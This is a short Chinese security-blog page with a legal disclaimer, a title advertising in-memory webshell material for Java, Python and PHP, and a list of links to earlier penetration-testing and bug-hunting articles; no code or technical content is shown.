声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

Java/Python/PHP 内存马

hack视频资料及工具

Java/Python/PHP 内存马

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日12:52:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java/Python/PHP 内存马http://cn-sec.com/archives/2210788.html

发表评论

匿名网友 填写信息